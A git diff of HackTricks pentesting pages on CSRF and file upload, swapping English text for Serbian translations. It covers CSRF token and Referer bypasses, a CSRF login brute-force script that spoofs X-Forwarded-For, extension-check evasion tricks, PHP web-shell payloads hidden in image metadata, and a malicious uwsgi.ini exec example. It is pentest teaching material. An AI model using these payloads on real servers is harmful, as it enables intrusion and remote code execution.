Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -32,7 +32,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
## Cross-Site Request Forgery (CSRF) Explained
**Cross-Site Request Forgery (CSRF)** je vrsta sigurnosne ranjivosti koja se nalazi u web aplikacijama. Omogućava napadačima da izvrše radnje u ime nesvesnih korisnika iskorišćavajući njihove autentifikovane sesije. Napad se izvršava kada korisnik, koji je prijavljen na platformu žrtve, poseti zlonamernu stranicu. Ova stranica zatim pokreće zahteve na račun žrtve putem metoda kao što su izvršavanje JavaScript-a, slanje obrazaca ili preuzimanje slika.
**Cross-Site Request Forgery (CSRF)** je vrsta bezbednosne ranjivosti koja se nalazi u web aplikacijama. Omogućava napadačima da izvrše radnje u ime nesvesnih korisnika iskorišćavanjem njihovih autentifikovanih sesija. Napad se izvršava kada korisnik, koji je prijavljen na platformu žrtve, poseti zlonamernu stranicu. Ova stranica zatim pokreće zahteve ka nalogu žrtve putem metoda kao što su izvršavanje JavaScript-a, slanje obrazaca ili preuzimanje slika.
### Prerequisites for a CSRF Attack
@ -46,11 +46,11 @@ Da bi se iskoristila CSRF ranjivost, nekoliko uslova mora biti ispunjeno:
Možete **uhvatiti zahtev u Burp-u** i proveriti CSRF zaštite, a da biste testirali iz pregledača, možete kliknuti na **Copy as fetch** i proveriti zahtev:
<figure><img src="../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Defending Against CSRF
Nekoliko mera zaštite može se implementirati kako bi se zaštitilo od CSRF napada:
Nekoliko mera zaštite može se implementirati kako bi se zaštitili od CSRF napada:
* [**SameSite cookies**](hacking-with-cookies/#samesite): Ova atribut sprečava pregledač da šalje kolačiće zajedno sa zahtevima sa drugih sajtova. [Više o SameSite kolačićima](hacking-with-cookies/#samesite).
* [**Cross-origin resource sharing**](cors-bypass.md): CORS politika sajta žrtve može uticati na izvodljivost napada, posebno ako napad zahteva čitanje odgovora sa sajta žrtve. [Saznajte više o CORS zaobilaženju](cors-bypass.md).
@ -58,10 +58,10 @@ Nekoliko mera zaštite može se implementirati kako bi se zaštitilo od CSRF nap
* **Checking Referrer or Origin Headers**: Validacija ovih zaglavlja može pomoći da se osigura da zahtevi dolaze iz pouzdanih izvora. Međutim, pažljivo kreiranje URL-ova može zaobići loše implementirane provere, kao što su:
* Korišćenje `http://mal.net?orig=http://example.com` (URL se završava sa pouzdanim URL-om)
* Korišćenje `http://example.com.mal.net` (URL počinje sa pouzdanim URL-om)
* **Modifying Parameter Names**: Menjanje imena parametara u POST ili GET zahtevima može pomoći u sprečavanju automatizovanih napada.
* **Modifying Parameter Names**: Promena imena parametara u POST ili GET zahtevima može pomoći u sprečavanju automatizovanih napada.
* **CSRF Tokens**: Uključivanje jedinstvenog CSRF tokena u svaku sesiju i zahtev za ovim tokenom u narednim zahtevima može značajno smanjiti rizik od CSRF. Efikasnost tokena može se poboljšati primenom CORS-a.
Razumevanje i implementacija ovih odbrana je ključno za održavanje sigurnosti i integriteta web aplikacija.
Razumevanje i implementacija ovih odbrana je ključno za održavanje bezbednosti i integriteta web aplikacija.
## Defences Bypass
@ -75,7 +75,7 @@ Aplikacije mogu implementirati mehanizam za **validaciju tokena** kada su prisut
### CSRF token is not tied to the user session
Aplikacije **koje ne vezuju CSRF tokene za korisničke sesije** predstavljaju značajan **sigurnosni rizik**. Ovi sistemi verifikuju tokene protiv **globalnog bazena** umesto da osiguraju da je svaki token vezan za inicijalnu sesiju.
Aplikacije **koje ne vezuju CSRF tokene za korisničke sesije** predstavljaju značajan **bezbednosni rizik**. Ovi sistemi verifikuju tokene protiv **globalnog bazena** umesto da osiguraju da je svaki token vezan za inicijalnu sesiju.
Evo kako napadači iskorišćavaju ovo:
@ -136,7 +136,7 @@ Prema [**ovome**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\
* **`multipart/form-data`**
* **`text/plain`**
Međutim, imajte na umu da **logika servera može varirati** u zavisnosti od korišćenog **Content-Type**, tako da biste trebali isprobati pomenute vrednosti i druge poput **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
Međutim, imajte na umu da se **logika servera može razlikovati** u zavisnosti od korišćenog **Content-Type**, tako da biste trebali isprobati pomenute vrednosti i druge poput **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
Primer (iz [ovde](https://brycec.me/posts/corctf\_2021\_challenges)) slanja JSON podataka kao text/plain:
```html
@ -163,7 +163,7 @@ Kada pokušavate da pošaljete JSON podatke putem POST zahteva, korišćenje `Co
**Avoid Referrer header**
Aplikacije mogu validirati 'Referer' header samo kada je prisutan. Da biste sprečili pretraživač da pošalje ovaj header, može se koristiti sledeći HTML meta tag:
Aplikacije mogu validirati 'Referer' zaglavlje samo kada je prisutno. Da biste sprečili pretraživač da pošalje ovo zaglavlje, može se koristiti sledeći HTML meta tag:
```xml
<meta name="referrer" content="never">
```
@ -194,7 +194,7 @@ document.forms[0].submit();
</body>
</html>
```
### **HEAD метод заобилажења**
### **HEAD метод заобилажење**
Први део [**овог CTF извештаја**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) објашњава да је [Изворни код Ока](https://github.com/oakserver/oak/blob/main/router.ts#L281), рутер подешен да **обрађује HEAD захтеве као GET захтеве** без тела одговора - уобичајена заобилазница која није јединствена за Ок. Уместо специфичног обрађивача који се бави HEAD захтевима, они су једноставно **дати GET обрађивачу, али апликација само уклања тело одговора**.
@ -526,7 +526,7 @@ room: username
```
## CSRF Login Brute Force
Kod se može koristiti za Brut Force forme za prijavu koristeći CSRF token (takođe koristi header X-Forwarded-For da pokuša da zaobiđe moguće IP crne liste):
Kod se može koristiti za Brut Force login formu koristeći CSRF token (takođe koristi header X-Forwarded-For da pokuša da zaobiđe moguće IP blokiranje):
```python
import request
import re
@ -600,8 +600,8 @@ Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima pla
**Pridružite nam se na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Učite i vežbajte AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -609,7 +609,7 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Podelite trikove za hakovanje slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,32 +1,32 @@
# File Upload
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Podrška HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
Ako ste zainteresovani za **hakersku karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
{% embed url="https://www.stmcyber.com/careers" %}
## File Upload General Methodology
## Opšta metodologija za upload fajlova
Other useful extensions:
Ostale korisne ekstenzije:
* **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
* **Working in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
* **Rad u PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
* **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
* **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
* **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@ -34,13 +34,13 @@ Other useful extensions:
* **Perl**: _.pl, .cgi_
* **Erlang Yaws Web Server**: _.yaws_
### Bypass file extensions checks
### Zaobilaženje provere ekstenzija fajlova
1. If they apply, the **check** the **previous extensions.** Also test them using some **uppercase letters**: _pHp, .pHP5, .PhAr ..._
2. _Check **adding a valid extension before** the execution extension (use previous extensions also):_
1. Ako se primenjuju, **proverite** **prethodne ekstenzije.** Takođe ih testirajte koristeći neka **velika slova**: _pHp, .pHP5, .PhAr ..._
2. _Proverite **dodavanje važeće ekstenzije pre** ekstenzije za izvršavanje (koristite prethodne ekstenzije takođe):_
* _file.png.php_
* _file.png.Php5_
3. Try adding **special characters at the end.** You could use Burp to **bruteforce** all the **ascii** and **Unicode** characters. (_Note that you can also try to use the **previously** motioned **extensions**_)
3. Pokušajte dodati **specijalne karaktere na kraju.** Možete koristiti Burp za **bruteforce** sve **ascii** i **Unicode** karaktere. (_Napomena: takođe možete pokušati da koristite **prethodno** pomenute **ekstenzije**_)
* _file.php%20_
* _file.php%0a_
* _file.php%00_
@ -50,7 +50,7 @@ Other useful extensions:
* _file._
* _file.php...._
* _file.pHp5...._
4. Try to bypass the protections **tricking the extension parser** of the server-side with techniques like **doubling** the **extension** or **adding junk** data (**null** bytes) between extensions. _You can also use the **previous extensions** to prepare a better payload._
4. Pokušajte da zaobiđete zaštite **obmanjujući parser ekstenzija** na serverskoj strani tehnikama kao što su **dupliranje** **ekstenzije** ili **dodavanje junk** podataka (**null** bajtova) između ekstenzija. _Takođe možete koristiti **prethodne ekstenzije** da pripremite bolji payload._
* _file.png.php_
* _file.png.pHp5_
* _file.php#.png_
@ -59,75 +59,75 @@ Other useful extensions:
* _file.php%0a.png_
* _file.php%0d%0a.png_
* _file.phpJunk123png_
5. Add **another layer of extensions** to the previous check:
5. Dodajte **još jedan sloj ekstenzija** na prethodnu proveru:
* _file.png.jpg.php_
* _file.php%00.png%00.jpg_
6. Try to put the **exec extension before the valid extension** and pray so the server is misconfigured. (useful to exploit Apache misconfigurations where anything with extension\*\* _**.php**_**, but** not necessarily ending in .php\*\* will execute code):
6. Pokušajte staviti **exec ekstenziju pre važeće ekstenzije** i molite se da je server pogrešno konfigurisan. (korisno za eksploataciju Apache pogrešnih konfiguracija gde bilo šta sa ekstenzijom\*\* _**.php**_**, ali** ne nužno završava u .php\*\* će izvršiti kod):
* _ex: file.php.png_
7. Using **NTFS alternate data stream (ADS)** in **Windows**. In this case, a colon character “:” will be inserted after a forbidden extension and before a permitted one. As a result, an **empty file with the forbidden extension** will be created on the server (e.g. “file.asax:.jpg”). This file might be edited later using other techniques such as using its short filename. The “**::$data**” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. “file.asp::$data.”)
8. Try to break the filename limits. The valid extension gets cut off. And the malicious PHP gets left. AAA<--SNIP-->AAA.php
7. Korišćenje **NTFS alternativnog toka podataka (ADS)** u **Windows-u**. U ovom slučaju, karakter dvotačka “:” će biti umetnut nakon zabranjene ekstenzije i pre dozvoljene. Kao rezultat, **prazan fajl sa zabranjenom ekstenzijom** će biti kreiran na serveru (npr. “file.asax:.jpg”). Ovaj fajl može biti kasnije izmenjen koristeći druge tehnike kao što je korišćenje njegovog kratkog imena. Šablon “**::$data**” se takođe može koristiti za kreiranje ne-praznih fajlova. Stoga, dodavanje tačke nakon ovog šablona može takođe biti korisno za zaobilaženje daljih ograničenja (npr. “file.asp::$data.”)
8. Pokušajte da prekinete ograničenja imena fajlova. Važeća ekstenzija se skraćuje. A zlonameran PHP ostaje. AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
# Linux maksimalno 255 bajtova
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 ovde i dodavanje .png
# Učitajte fajl i proverite odgovor koliko karaktera dozvoljava. Recimo 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
# Napravite payload
AAA<--SNIP 232 A-->AAA.php.png
```
### Bypass Content-Type, Magic Number, Compression & Resizing
### Zaobilaženje Content-Type, Magic Number, Kompresije i Promene veličine
* Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
* Bypass **magic number** check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**:\
* Zaobiđite **Content-Type** provere postavljanjem **vrednosti** **Content-Type** **header-a** na: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **rečnik**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
* Zaobiđite **magic number** proveru dodavanjem na početak fajla **bajtova pravog imidža** (zbuniti _file_ komandu). Ili uvesti shell unutar **metapodataka**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` or you could also **introduce the payload directly** in an image:\
`\` ili takođe možete **direktno uvesti payload** u sliku:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
* If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
* [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* The web page cold also be **resizing** the **image**, using for example the PHP-GD functions `imagecopyresized` or `imagecopyresampled`. However, you could use the **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
* [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
* [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
* Ako se **kompresija dodaje vašoj slici**, na primer koristeći neke standardne PHP biblioteke kao što je [PHP-GD](https://www.php.net/manual/fr/book.image.php), prethodne tehnike neće biti korisne. Međutim, možete koristiti **PLTE chunk** [**tehnika definisana ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da umetnete neki tekst koji će **preživeti kompresiju**.
* [**Github sa kodom**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* Web stranica takođe može **menjati veličinu** **slike**, koristeći na primer PHP-GD funkcije `imagecopyresized` ili `imagecopyresampled`. Međutim, možete koristiti **IDAT chunk** [**tehnika definisana ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da umetnete neki tekst koji će **preživeti kompresiju**.
* [**Github sa kodom**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* Još jedna tehnika za pravljenje payload-a koji **preživljava promenu veličine slike**, koristeći PHP-GD funkciju `thumbnailImage`. Međutim, možete koristiti **tEXt chunk** [**tehnika definisana ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da umetnete neki tekst koji će **preživeti kompresiju**.
* [**Github sa kodom**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### Other Tricks to check
### Ostali trikovi za proveru
* Find a vulnerability to **rename** the file already uploaded (to change the extension).
* Find a **Local File Inclusion** vulnerability to execute the backdoor.
* **Possible Information disclosure**:
1. Upload **several times** (and at the **same time**) the **same file** with the **same name**
2. Upload a file with the **name** of a **file** or **folder** that **already exists**
3. Uploading a file with **“.”, “..”, or “…” as its name**. For instance, in Apache in **Windows**, if the application saves the uploaded files in “/www/uploads/” directory, the “.” filename will create a file called “uploads” in the “/www/” directory.
4. Upload a file that may not be deleted easily such as **“…:.jpg”** in **NTFS**. (Windows)
5. Upload a file in **Windows** with **invalid characters** such as `|<>*?”` in its name. (Windows)
6. Upload a file in **Windows** using **reserved** (**forbidden**) **names** such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
* Try also to **upload an executable** (.exe) or an **.html** (less suspicious) that **will execute code** when accidentally opened by victim.
* Pronađite ranjivost da **preimenujete** već otpremljeni fajl (da promenite ekstenziju).
* Pronađite **Local File Inclusion** ranjivost da izvršite backdoor.
* **Moguće otkrivanje informacija**:
1. Otpremajte **više puta** (i u **isto vreme**) **isti fajl** sa **istim imenom**
2. Otpremajte fajl sa **imenom** fajla ili **foldera** koji **već postoji**
3. Otpremajte fajl sa **“.”, “..”, ili “…” kao njegovim imenom**. Na primer, u Apache-u u **Windows-u**, ako aplikacija čuva otpremljene fajlove u “/www/uploads/” direktorijumu, ime “.” će kreirati fajl pod nazivom “uploads” u “/www/” direktorijumu.
4. Otpremajte fajl koji se možda ne može lako obrisati kao što je **“…:.jpg”** u **NTFS**. (Windows)
5. Otpremajte fajl u **Windows-u** sa **nevalidnim karakterima** kao što su `|<>*?”` u njegovom imenu. (Windows)
6. Otpremajte fajl u **Windows-u** koristeći **rezervisana** (**zabranjena**) **imena** kao što su CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, i LPT9.
* Takođe pokušajte da **otpremite izvršni** (.exe) ili **.html** (manje sumnjiv) koji **će izvršiti kod** kada ga žrtva slučajno otvori.
### Special extension tricks
### Specijalni trikovi sa ekstenzijama
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Ako pokušavate da otpremite fajlove na **PHP server**, [pogledajte **.htaccess** trik za izvršavanje koda](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Ako pokušavate da otpremite fajlove na **ASP server**, [pogledajte **.config** trik za izvršavanje koda](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** (executing it with php, or including it inside a script...)
Fajlovi sa ekstenzijom `.phar` su kao `.jar` za java, ali za php, i mogu se **koristiti kao php fajl** (izvršavajući ga sa php, ili uključujući ga unutar skripte...)
The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**.
Ekstenzija `.inc` se ponekad koristi za php fajlove koji se koriste samo za **uvoz fajlova**, tako da je u nekom trenutku neko mogao dozvoliti **izvršavanje ove ekstenzije**.
## **Jetty RCE**
If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
Ako možete otpremiti XML fajl na Jetty server, možete dobiti [RCE jer se **novi \*.xml i \*.war automatski obrađuju**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Dakle, kao što je pomenuto na sledećoj slici, otpremite XML fajl u `$JETTY_BASE/webapps/` i očekujte shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1047).png>)
## **uWSGI RCE**
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Za detaljno istraživanje ove ranjivosti proverite originalno istraživanje: [uWSGI RCE Eksploatacija](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed.
Ranjivosti daljinskog izvršavanja komandi (RCE) mogu se eksploatisati na uWSGI serverima ako neko ima mogućnost da izmeni `.ini` konfiguracioni fajl. uWSGI konfiguracioni fajlovi koriste specifičnu sintaksu za uključivanje "magic" varijabli, mesta i operatora. Značajno, operator '@', korišćen kao `@(filename)`, je dizajniran da uključi sadržaj fajla. Među raznim podržanim shemama u uWSGI, "exec" shema je posebno moćna, omogućavajući čitanje podataka iz standardnog izlaza procesa. Ova funkcija se može iskoristiti za zle svrhe kao što su daljinsko izvršavanje komandi ili proizvoljno pisanje/čitanje fajlova kada se obradi `.ini` konfiguracioni fajl.
Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
Razmotrite sledeći primer štetnog `uwsgi.ini` fajla, prikazujući razne sheme:
```ini
[uwsgi]
; read from a symbol
@ -147,7 +147,7 @@ characters = @(call://uwsgi_func)
```
Izvršenje payload-a se dešava tokom parsiranja konfiguracione datoteke. Da bi konfiguracija bila aktivirana i parsirana, uWSGI proces mora biti ponovo pokrenut (potencijalno nakon pada ili zbog napada uskraćivanja usluge) ili datoteka mora biti postavljena na automatsko ponovno učitavanje. Funkcija automatskog ponovnog učitavanja, ako je omogućena, ponovo učitava datoteku u određenim intervalima prilikom otkrivanja promena.
Ključno je razumeti labavu prirodu parsiranja konfiguracione datoteke uWSGI-a. Konkretno, pomenuti payload može biti umetnut u binarnu datoteku (kao što je slika ili PDF), dodatno proširujući opseg potencijalne eksploatacije.
Ključno je razumeti labavu prirodu parsiranja konfiguracione datoteke uWSGI-a. Konkretno, pomenuti payload može biti umetnut u binarnu datoteku (kao što je slika ili PDF), čime se dodatno proširuje opseg potencijalne eksploatacije.
## **wget File Upload/SSRF Trick**
@ -175,7 +175,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Napomena da **druga opcija** koju možda razmišljate da zaobiđete ovu proveru je da napravite **HTTP server preusmeri na drugu datoteku**, tako da će inicijalni URL zaobići proveru, a zatim će wget preuzeti preusmerenu datoteku sa novim imenom. Ovo **neće raditi** **osim** ako se wget koristi sa **parametrom** `--trust-server-names` jer **wget će preuzeti preusmerenu stranicu sa imenom datoteke naznačenim u originalnom URL-u**.
Napomena da **druga opcija** koju možda razmišljate da zaobiđete ovu proveru je da napravite **HTTP server preusmeri na drugu datoteku**, tako da će početni URL zaobići proveru, a zatim će wget preuzeti preusmerenu datoteku sa novim imenom. Ovo **neće raditi** **osim** ako se wget koristi sa **parametrom** `--trust-server-names` jer **wget će preuzeti preusmerenu stranicu sa imenom datoteke naznačenim u originalnom URL-u**.
## Alati
@ -187,28 +187,28 @@ Napomena da **druga opcija** koju možda razmišljate da zaobiđete ovu proveru
